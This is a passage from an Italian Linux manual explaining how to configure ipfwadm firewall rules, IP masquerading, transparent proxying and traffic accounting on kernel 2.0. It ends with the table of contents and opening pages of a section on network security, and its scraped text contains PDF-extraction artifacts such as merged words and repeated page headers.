Il kernel è in grado di gestire un numero limitato di regole che contengano riferimenti precisia porte. Di solito è consentita l’indicazione massima di 10 porte, dove gli intervalli valgonoper due.

Alcuni parametri

-P tcp | udp| icmp | all

Stabilisce il tipo di protocollo della regola che viene definita. La parola chiave‘all ’ rap-presenta qualsiasi protocollo ed è l’impostazione predefinita se questo parametro non vieneutilizzato.

L’indicazione del protocollo è obbligatoria quando si specificano le porte di un’origineo di una destinazione.

-S indirizzo[ / maschera] [ porta| intervallo_di_porte] ...

Permette di definire l’origine dei pacchetti. L’indirizzo viene indicato generalmente informa numerica, anche se c’è la possibilità di usare un nome di dominio. La maschera,eventuale, serve a indicare un gruppo di indirizzi.

Se questo parametro viene omesso, si intende implicitamente‘ -S 0.0.0.0/0 ’ , ovvero‘ -S any/0 ’ , che rappresenta tutti gli indirizzi possibili.

-D indirizzo[ / maschera] [ porta| intervallo_di_porte] ...

Permette di definire la destinazione dei pacchetti. L’indirizzo viene indicato generalmentein forma numerica, anche se c’è la possibilità di usare un nome di dominio. La maschera,eventuale, serve a indicare un gruppo di indirizzi.

Se questo parametro viene omesso, si intende implicitamente‘ -D 0.0.0.0/0 ’ , ovvero‘ -D any/0 ’ , che rappresenta tutti gli indirizzi possibili.

-V indirizzo

Permette di indicare l’indirizzo dell’interfaccia di rete attraverso la quale sono ricevuti oinviati i pacchetti della regola che si sta definendo.

Se questo parametro viene omesso, si intende implicitamente‘ -V 0.0.0.0 ’ , cherappresenta eccezionalmente un indirizzo qualunque.

-W interfaccia

Page 28: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2012 Kernel Linux 2.0: firewall e mascheramento IP

Permette di indicare il nome dell’interfaccia di rete attraverso la quale sono ricevuti o inviatii pacchetti della regola che si sta definendo.

Se questo parametro viene omesso, si intende fare riferimento implicitamente a qualunqueinterfaccia di rete.

181.4 Opzioni aggiuntive

Alcune opzioni finali possono essere importanti e vale la pena di conoscerle. È il caso di preci-sare che, anche se la sintassi indicata daipfwadm(8)pone queste opzioni alla fine della riga dicomando, queste possono apparire dopo i comandi, subito prima dei parametri.

Alcuni opzioni-e

Questa opzione può essere usata solo in combinazione al comando‘ -l ’ e permette diottenere informazioni più dettagliate.

-n

Questa opzione viene usata normalmente assieme al comando‘ -l ’ e fa in modo che leinformazioni su indirizzi e porte siano espresse in forma numerica.

-b

Fa sì che la regola valga in modo bidirezionale per i pacchetti IP.

-o

Attiva l’annotazione dei pacchetti che corrispondono alla regola, utilizzando ilregistro delsistema (per la precisione si tratta di messaggi delkernel, di solito intercettati dal demone‘klogd ’ che poi li invia alregistro del sistema).

181.5 Pratica con ipfwadm per la gestione del firewall

Ci sono tre utilizzi tipici di‘ ipfwadm ’ con cui è necessario avere confidenza prima di analizzaredegli esempi più sostanziosi: l’elenco delle regole di una categoria determinata, la cancellazionedi tutte le regole di una categoria e la definizione della politica predefinita.

# ipfwadm -I -l [ Invio ]

IP firewall input rules, default policy: accept

# ipfwadm -O -l [ Invio ]

IP firewall output rules, default policy: accept

# ipfwadm -F -l [ Invio ]

IP firewall forward rules, default policy: accept

L’esempio mostra l’uso dei comandi necessari a visualizzare le regole delle categorie riferite allafunzionalità di controllo dell’input, dell’output e di attraversamento dei pacchetti IP. Se ilkernelè predisposto per la loro gestione e non sono state definite regole di alcun tipo, quello che si vedeè il risultato generato da questi comandi. Si osservi in particolare che la politica predefinita èsempre‘accept ’ .

Page 29: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.0: firewall e mascheramento IP 2013

In generale, quando si predispone unoscript con tutte le regole difirewall che si voglionoapplicare, si inizia dall’azzeramento di quelle eventualmente esistenti, esattamente nel modoseguente:

#!/bin/sh

/sbin/ipfwadm -I -f/sbin/ipfwadm -O -f/sbin/ipfwadm -F -f#...

Dal momento che le funzionalità di filtro delkernel Linux non devono interferire con quelledi inoltro, nel caso le prime non siano state definite, è necessario che la politica predefinita siasempre‘accept ’ . In generale, se si vuole configurare il proprio elaboratore comefirewall, la si-tuazione cambia e dovrebbe essere conveniente il contrario, in modo da poter controllare la situa-zione. In pratica, dopo l’azzeramento delle regole delle varie categorie, è solitamente opportunomodificare le politiche predefinite, in modo da bloccare gli accessi e il transito dei pacchetti.

#.../sbin/ipfwadm -I -p deny/sbin/ipfwadm -O -p deny/sbin/ipfwadm -F -p deny#...

La definizione delle regole difirewall deve tenere conto dell’ordine in cui appaiono nell’elen-co gestito all’interno delkernel, quindi, la scelta tra i comandi‘ -a ’ (aggiunta in coda) e‘ -i ’(inserimento all’inizio) deve essere fatta in modo consapevole. A seconda della propria filosofiapersonale, si sceglierà probabilmente di utilizzare sempre solo un tipo, oppure l’altro.

Se si sceglie di «aggiungere» le regole, dovrebbe essere conveniente iniziare da quelle di rifiutoo rigetto (‘deny ’ o ‘ reject ’ ), per finire con quelle di accettazione (‘accept ’).

Se si preferisce lasciare che la politica predefinita sia‘accept ’ , è importante ricordare di aggiun-gere alla fine di tutte le regole di una categoria determinata, una regola che impedisca l’accessoin modo generalizzato, come mostrato nell’esempio seguente:

#...# In coda a tutte le regole/sbin/ipfwadm -I -a deny -S any/0 -D any/0 -o/sbin/ipfwadm -O -a deny -S any/0 -D any/0 -o/sbin/ipfwadm -F -a deny -S any/0 -D any/0 -o

Nell’esempio, è stata usata la parola chiave‘any ’ , come sinonimo di 0.0.0.0, in modo da rappre-sentare qualunque indirizzo di origine e di destinazione (0.0.0.0/0). Come si può vedere ancora,è stata aggiunta l’opzione‘ -o ’ in modo da annotare nelregistro del sistema i tentativi di accessoo di attraversamento non autorizzati. Questo tipo di strategia, soprattutto in considerazione dellapossibilità di attivare un controllo nelregistro del sistema, può giustificare la scelta di lasciare lapolitica predefinita originale:‘accept ’ .

Di solito, per la definizione delle regole di unfirewall ci si limita a utilizzare la categoria‘ -F ’ ,lasciando libero l’ingresso e l’uscita dei pacchetti (le categorie‘ -I ’ e ‘ -O ’). Infatti, le regole checontrollano l’ingresso e l’uscita dei dati potrebbero essere utili per proteggere unnodo che nondisponga della protezione di unfirewall, oppure si trovi in un ambiente di cui non ci si possafidare.

Alcuni esempi/sbin/ipfwadm -F -a deny -S 224.0.0.0/3 -D any/0 -o

Questa regola impedisce il transito di tutti quei pacchetti che provengono da un’origine incui l’indirizzo IP sia composto in modo da avere i primi tre bit a uno. Infatti, 224 si traducenel numero binario 111000002, escludendo tutta la classe D e la classe E degli indirizzi

Page 30: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2014 Kernel Linux 2.0: firewall e mascheramento IP

IPv4. Si osservi l’aggiunta dell’opzione‘ -o ’ per ottenere l’annotazione nel registro deitentativi di attraversamento.

Segue la visualizzazione della regola attraverso‘ ipfwadm -F -l ’ .type prot source destination portsdeny all 224.0.0.0/3 anywhere n/a

/sbin/ipfwadm -F -a deny -S 224.0.0.0/3 -o

Questo esempio è esattamente identico a quello precedente, perché la destinazionepredefinita è proprio quella riferita a qualunque indirizzo./sbin/ipfwadm -F -a accept -P tcp -S 192.168.1.0/24 -D any/0 23

Consente ai pacchetti TCP provenienti dalla rete 192.168.1.0/255.255.255.0 di attraversareil firewall per raggiungere qualunque indirizzo, ma alla porta 23. In pratica concede diraggiungere un servizio TELNET.

Segue la visualizzazione della regola attraverso‘ ipfwadm -F -l ’ .type prot source destination portsacc tcp 192.168.1.0/24 anywhere any -> telnet

/sbin/ipfwadm -F -a deny -P tcp -S any/0 6000:6009 -D any/0 -o/sbin/ipfwadm -F -a deny -P tcp -S any/0 -D any/0 6000:6009 -o

Blocca il transito delle comunicazioni riferite alla gestione remota di applicazioni per X.In questo caso, si presume di poter avere a che fare con sistemi che gestiscono fino a 10serventi grafici contemporaneamente./sbin/ipfwadm -I -a deny -P tcp -S any/0 6000:6009 -D any/0 -o/sbin/ipfwadm -O -a deny -P tcp -S any/0 -D any/0 6000:6009 -o

Blocca l’ingresso e l’uscita di comunicazioni riferite alla gestione remota di applicazioniper X. Questo potrebbe essere utile per proteggere un sistema che non si avvale di unfirewall o che semplicemente non si fida della rete circostante.

181.6 ipfwadm per l’amministrazione del mascheramento

La gestione delmascheramento IP delkernel è un’estensione di quella del filtro di pacchetto IP edeve essere attivata espressamente attraverso‘ ipfwadm ’ , utilizzando la categoria‘ -F ’ (forward),assieme a una politica di accettazione (‘accept ’) con l’aggiunta dell’indicazione che si tratta dimascheramento.

Per ottenere questo, si possono usare due modi equivalenti: l’indicazione di una politica denomi-nata‘masquerade ’ (abbreviata frequentemente con‘m’), che implica la politica‘accept ’ , op-pure l’aggiunta dell’opzione‘ -m’ . La cosa si potrebbe rappresentare schematicamente attraversogli schemi sintattici seguenti.

ipfwadm -F -i | -a | -d m| masquerade parametri [ opzioni]

ipfwadm -F -i | -a | -d accept parametri -m [ altre_opzioni]

Ricapitolando quindi, ilmascheramento si ottiene definendo una regola di inoltro (forward), incui sia stato attivato ilmascheramento dell’origine nei confronti della destinazione.

La situazione comune per ilmascheramento IP è quella dello schema che appare in figura181.1.L’interfaccia di rete delfirewall connessa alla rete privata deve avere un indirizzo IP che apparten-ga a tale spazio e inoltre deve essere stato previsto un instradamento corretto. L’altra interfaccia,quella rivolta verso la rete pubblica, avrà un indirizzo IP pubblico e l’instradamento dovrà esserequello predefinito.

Page 31: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.0: firewall e mascheramento IP 2015

Figura 181.1. Il firewall per il mascheramento IP.

.---------------. 192.168.1.0| Firewall | Rete privata mascherata

- - - ------------------| mascheramento |-------*-----------*-------- - - -Rete pubblica | IP | | |(Internet) ‘---------------’ .--------. .--------.

| host | | host |‘--------’ ‘--------’

In questa situazione, la regola che consente alla rete privata di raggiungere l’esterno può esseredefinita con uno dei tre comandi seguenti (che in pratica sono identici).

/sbin/ipfwadm -F -a masquerade -S 192.168.1.0/24 -D any/0

/sbin/ipfwadm -F -a m -S 192.168.1.0/24 -D any/0

/sbin/ipfwadm -F -a accept -S 192.168.1.0/24 -D any/0 -m

Visualizzando la regola attraverso‘ ipfwadm -F -l ’ , si ottiene l’informazione seguente, dovesi deve osservare che il tipo è indicato come‘acc/m ’ , ovvero:‘accept ’ /‘masquerade ’ .

type prot source destination portsacc/m all 192.168.1.0/24 anywhere n/a

Si è accennato al fatto che non si può escludere che qualcuno voglia provare a definire un proprioinstradamento verso la rete privata che in condizioni normali dovrebbe essere irraggiungibiledall’esterno. Per questo, conviene escludere esplicitamente il traffico nella direzione opposta,oppure semplicemente definire che la politica predefinita delfirewall deve essere‘deny ’ .

#!/bin/sh/sbin/ipfwadm -F -p deny/sbin/ipfwadm -F -a masquerade -S 192.168.1.0/24 -D any/0

181.7 Proxy trasparente con ipfwadm

Il proxy trasparente, o transparent proxy, è una funzionalità attraverso la quale si fa in modo diridirigere il traffico verso ilnodo locale, quando altrimenti sarebbe diretto verso altre macchine,a porte determinate.

Il kernel Linux fornisce questa funzionalità come estensione di quelle di filtro dei pacchetti IP; maper farlo deve essere aggiunta esplicitamente la gestione di questa caratteristica (sezione29.2.9).

La ridirezione attraverso cui si ottiene ilproxy trasparente, si definisce esclusivamente con lacategoria‘ -I ’ , specificando una porta di ridirezione con l’opzione‘ -r ’ .

La sintassi di‘ ipfwadm ’ per questo scopo si traduce nello schema seguente:

ipfwadm -I -i | -a | -d accept -P protocollo -S origine -D destinazione porte-r porta_locale

Quello che si ottiene è che il traffico proveniente dagli indirizzi previsti, diretto verso le de-stinazioni indicate, complete dell’informazione sulle porte, viene ridiretto alla porta indicatadall’opzione‘ -r ’ nelnodo locale.

A titolo di esempio viene mostrato in che modo si potrebbe ridirigere il traffico di una rete localecon indirizzi 192.168.1.0/24, quando questo è rivolto alla porta 80, cioè a un servizio HTTP,verso la porta locale 8080 (tipica di unacache proxy).

/sbin/ipfwadm -I -a accept -p tcp -S 192.168.1.0/24 -D any/0 80 -r 8080

Visualizzando la regola attraverso‘ ipfwadm -I -l ’ , si ottiene l’informazione seguente, dovesi deve osservare che il tipo è indicato come‘acc/r ’ , dove la lettera‘ r ’ segnala appunto laridirezione.

Page 32: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2016 Kernel Linux 2.0: firewall e mascheramento IP

type prot source destination portsacc/r tcp 192.168.0.0/24 anywhere any -> http => 8080

181.8 Contabilizzazione del traffico con ipfwadm

Il kernel Linux, assieme alla gestione del filtro dei pacchetti IP può anche tenere la «contabilità»del traffico. Si tratta semplicemente di definire una serie di contatori per il traffico in entrata o inuscita, da o verso indirizzi determinati. Il conteggio prosegue fino all’azzeramento successivo.

Per sfruttare questa funzionalità è necessario che ilkernel sia stato predisposto opportunamente(sezione29.2.9).

La contabilità del traffico non è un’attività esclusiva di un elaboratore che ricopra il ruolo difirewall, però, unfirewall, o più semplicemente unrouter, è il luogo migliore per gestirla.

Per definire i contatori che si vogliono avere in riferimento al traffico, si utilizza‘ ipfwadm ’specificando la categoria‘ -A ’ (Accounting). Con questa categoria possono essere usati comandie opzioni simili a quelli descritti per le funzionalità difirewall, ma non perfettamente uguali. Lasintassi generale cambia nel modo seguente:

ipfwadm -A [ in | out | both ] comando parametri[ opzioni]

Come si può osservare, la categoria‘ -A ’ richiede un argomento composto da una parola chiaveche definisce la direzione del traffico:‘ in ’ , ingresso;‘out ’ , uscita;‘both ’ , entrambe. Se taledirezione non viene specificata, si intende implicitamente che sia stata usata la parola chiave‘both ’ (entrambe).

I comandi, cioè le opzioni che seguono immediatamente la categoria‘ -A ’ , hanno delle differenzeimportanti rispetto alla sintassi relativa alla gestione delfirewall.

Alcuni comandi

-f

Cancella tutte le regole riferite alla categoria di intervento indicata anteriormente (in questocaso si tratta delle regole di contabilizzazione del traffico).

-l

Emette attraverso lostandard output le regole di definizione dei contatori, con i valori chetali contatori hanno raggiunto nel frattempo.

-z

Azzera tutti i conteggi. Si può usare anche assieme a‘ -l ’ ; i in tal caso si ottiene lavisualizzazione dei valori raggiunti, e subito dopo l’azzeramento.

-a

-i

Inserisce la regola di conteggio alla fine (‘ -a ’ , append), oppure all’inizio (‘ -i ’ , insert)dell’elenco.

-d parametri

Permette di eliminare una regola dal gruppo appartenente alla categoria specificata. Perottenere la sua eliminazione, occorre indicare gli stessi parametri utilizzati per crearla.

Page 33: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.0: firewall e mascheramento IP 2017

181.8.1 Contabilità del traffico in pratica

In generale, come è già stato mostrato in riferimento all’utilizzo di‘ ipfwadm ’ , quando si realizzaunoscript per la definizione di contatori di traffico, si inizia con l’azzeramento delle regole riferitea questa funzione.

#!/bin/sh#.../sbin/ipfwadm -A -f

Le regole di definizione dei contatori possono essere più o meno precise, a seconda dell’esi-genza. La regola più vaga è quella seguente, in cui si misura tutto il traffico (compreso quellodell’interfaccia diloopback) senza distinguere se questo è in ingresso o in uscita.

/sbin/ipfwadm -A both -a

Visualizzando la regola attraverso il comando‘ ipfwadm -A -l ’ , si ottiene qualcosa simile aquello che segue.

IP accounting rulespkts bytes dir prot source destination ports

4 280 i/o all anywhere anywhere n/a

In questo caso, si può osservare che c’è stato un po’ di traffico (veramente minimo), dal momentoche sono transitati 280 byte in quattro pacchetti.

È evidente che la contabilizzazione del traffico è utile se può dare qualche indicazione in più. L’e-sempio seguente serve a misurare in modo distinto il traffico in ingresso e in uscita dall’interfaccia‘eth0 ’ .

/sbin/ipfwadm -A in -a -W eth0/sbin/ipfwadm -A out -a -W eth0

In questo caso, per visualizzare le regole è necessario il comando‘ ipfwadm -A -l -e ’ ,altrimenti non si può notare che si fa riferimento a un’interfaccia precisa.

IP accounting rulespkts bytes dir prot opt ifname ifaddress source destination ports

6 348 in all ---- eth0 any anywhere anywhere n/a5 447 out all ---- eth0 any anywhere anywhere n/a

L’esempio seguente mostra in che modo potrebbe essere controllato il traffico intrattenuto conun gruppo dinodi particolare. Si suppone si tratti della sottorete 192.168.1.0/24.

/sbin/ipfwadm -A in -a -S 192.168.1.0/24/sbin/ipfwadm -A out -a -D 192.168.1.0/24

Il risultato di queste regole potrebbe essere il seguente:

IP accounting rulespkts bytes dir prot source destination ports

22 2346 in all 192.168.1.0/24 anywhere n/a25 2598 out all anywhere 192.168.1.0/24 n/a

Tuttavia, se l’elaboratore in cui si predispone la contabilizzazione del traffico fosse ilrouter,o il firewall della rete dell’esempio precedente, potrebbe essere più interessante sapere qual èil traffico che transita effettivamente verso l’esterno o dall’esterno. Se si usassero le regole vi-ste nell’esempio precedente, verrebbe considerato anche il traffico locale intrattenuto con taleelaboratore.

/sbin/ipfwadm -A out -a -S 192.168.1.0/24 -W eth1/sbin/ipfwadm -A in -a -D 192.168.1.0/24 -W eth1

Questo esempio inverte la direzione‘ in ’ /‘out ’ , proprio per misurare il traffico uscente (versol’esterno) che proviene dalla rete locale e quello entrante (dall’esterno) che sia diretto verso la

Page 34: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2018 Kernel Linux 2.0: firewall e mascheramento IP

rete locale. Tuttavia, per fare in modo che funzioni correttamente, è stato necessario specificareanche l’interfaccia a cui fare riferimento.

Infine, è possibile misurare anche il traffico sulle porte. L’esempio seguente cerca di misurareil traffico TCP complessivo verso l’indirizzo 192.168.1.1 (corrispondente alnodo locale), per laporta 8080 (cache proxy).

/sbin/ipfwadm -A both -a -P tcp -D 192.168.1.1 8080

Il risultato di questa regola potrebbe essere il seguente:

IP accounting rulespkts bytes dir prot source destination ports

60 6072 i/o tcp anywhere 192.168.1.1 any -> 8080

181.9 Riferimenti

• Terry Dawson,Linux NET-3-HOWTO, Linux Networking

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

• Mark Grennan,Firewalling and Proxy Server HOWTO

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

• Ambrose Au,Linux IP Masquerade mini HOWTO

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 35: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Parte xxxv

Sicurezza e controllo182 Introduzione ai problemi di sicurezza con la rete . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2021

182.1 Problemi legali . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2021

182.2 Informazioni: la prima debolezza . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2022

182.3 Errori comuni di configurazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2026

182.4 Servizi e programmi pericolosi per loro natura . . . . . . . . . . . . . . . . . . . . . . . . . . .2027

182.5 Fiducia e interdipendenza tra i sistemi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2029

182.6 Backdoor: cosa ci si può attendere da un sistema compromesso . . . . . . . . . . . .2030

182.7 Regole dettate dal buon senso . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2031

182.8 Lista di spunta . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2032

182.9 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2033

183 Virus, vermi e cavalli di Troia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2034

183.1 Classificazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2034

183.2 Fidarsi o non fidarsi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2034

183.3 Programmi imprevisti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2035

183.4 Limitare la diffusione di un virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2035

183.5 Bliss . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2036

183.6 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2036

184 Filtri di accesso standard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2037

184.1 Configurazione di Login . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2037

185 Protocollo IDENT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2042

185.1 Avvio del demone . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2042

185.2 Interrogazione del servizio e librerie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2044

186 TCP wrapper più in dettaglio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2046

186.1 Limiti e particolarità del TCP wrapper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2046

186.2 Configurazione del TCP wrapper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2046

186.3 Verifica della configurazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2050

186.4 Verifica delle corrispondenze . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2051

186.5 Un Finger speciale . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2052

186.6 Verifica della propria identificazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2052

187 Cambiare directory radice . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2053

187.1 Principio di funzionamento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2053

187.2 Possibilità di questo meccanismo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2053

187.3 Un esempio pratico: TELNET . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2054

2019

Page 36: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

188 Verifica dell’integrità dei file . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2057

188.1 Tripwire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2057

188.2 AIDE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2064

189 Verifica della vulnerabilità della propria rete . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2069

189.1 Queso . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2069

189.2 Raccess . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2070

189.3 SATAN o SANTA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2071

190 Strumenti per il controllo e l’analisi del traffico IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2078

190.1 Netstat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2078

190.2 Tcpdump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2080

190.3 IPTraf . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2085

190.4 Sniffit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2088

190.5 Ethereal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2091

190.6 IPlogger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2096

190.7 Netcat6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2096

191 Misure di sicurezza per l’elaboratore personale senza rete . . . . . . . . . . . . . . . . . . . . . . .2099

191.1 Avvio e riavvio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2099

191.2 Protezione del terminale e della console . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2100

191.3 Protezione del lavoro con X . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2100

2020

Page 37: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 182Introduzione ai problemi di sicurezza con lareteQuando un sistema è collegato a una rete di grandi dimensioni (o direttamente aInternet) perla maggior parte del tempo, è soggetto ad aggressioni di ogni tipo. Chi amministra sistemi delgenere ha il suo bel da fare a cercare di impedire l’accesso da parte di estranei non autorizzati,anche se spesso si ignora candidamente il problema.

Il problema della sicurezza dei sistemi in rete non ha una soluzione definitiva, ma solo delle regoleindicative. Alle volte è sufficiente ignorare una carenza della versione particolare di un servizioche funziona presso un elaboratore, per lasciare una botola aperta a disposizione di qualcuno chene conosce il trucco.

Si potrebbe discutere sulle qualità morali di chi passa il proprio tempo a studiare il modo miglioreper danneggiare il suo prossimo, ma questo non serve poi a risolvere il problema.

Questo capitolo ha il solo scopo di introdurre il problema, mostrando anche qualche esem-pio di quali possano essere i punti deboli di un elaboratore collegato in rete. Non è inten-zione dell’autore (che comunque non ne sarebbe in grado, data la sua scarsa preparazione)l’incoraggiare i lettori verso attività scorrette o illegali nei confronti di chiunque.

182.1 Problemi legali

Nel momento in cui si piazza in rete un proprio elaboratore, rendendolo accessibile al pubblico,si assumono delle responsabilità. In particolare, a proposito del problema della sicurezza, altrisistemi potrebbero risultare danneggiati da un attacco condotto con successo ai danni del pro-prio. Quindi, la cosa non può essere ignorata, anche quando per se stessi potrebbe non essereimportante.

Quando un sistema viene attaccato e l’aggressore riesce nel suo intendo, non si può dire a cosagli servirà, ma si possono immaginare quante cose terribili potrebbero essere ottenute a nome diquell’elaboratore e quindi del suo amministratore. Giusto a titolo di esempio, si può considerareche questo potrebbe servire: a inviare messaggi non desiderabili (spam); a ottenere accesso alleinformazioni contenute nell’elaboratore; a modificarle per qualche fine; ad annusare la rete cir-costante alla ricerca di informazioni utili ad accedere agli elaboratori che si trovano in prossimitàdi quello già compromesso; oppure, più in generale, a coprire altre azioni di attacco verso altrisistemi estranei, usando il primo come copertura.

Con questo scenario, si comprende che la cosa più grave che deriva da un sistema compromessoè il rischio per il suo amministratore di essere coinvolto nell’attività illegale di qualcun altro.Pertanto, quando ci si dovesse accorgere di questo, se possibile, sarebbe opportuno staccare fi-sicamente tale elaboratore dalla rete, avvisare le altre persone coinvolte nell’amministrazionedegli elaboratori della stessa rete locale (o che comunque hanno una qualche relazione con quel-lo compromesso), tenere traccia in un registro fisico dell’accaduto e delle misure prese comeconseguenza.

La necessità di annotare l’accaduto e le operazioni compiute deriva dalla possibilità di esse-re coinvolti in un procedimento giudiziario da parte di chi dovesse essere stato danneggiatodall’attività di questo ignoto.

Nello stesso modo in cui si può essere accusati ingiustamente di attività criminali compiute daaltri, si rischia di accusare degli innocenti quando si cerca di determinare l’origine di un attacco.

2021

Page 38: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2022 Introduzione ai problemi di sicurezza con la rete

È importante tenere conto che se il sistema è stato compromesso, anche ifile delle registra-zioni possono esserlo, ma comunque, l’attacco potrebbe essere giunto attraverso un sistema giàcompromesso in precedenza, all’insaputa del suo amministratore.

182.2 Informazioni: la prima debolezza

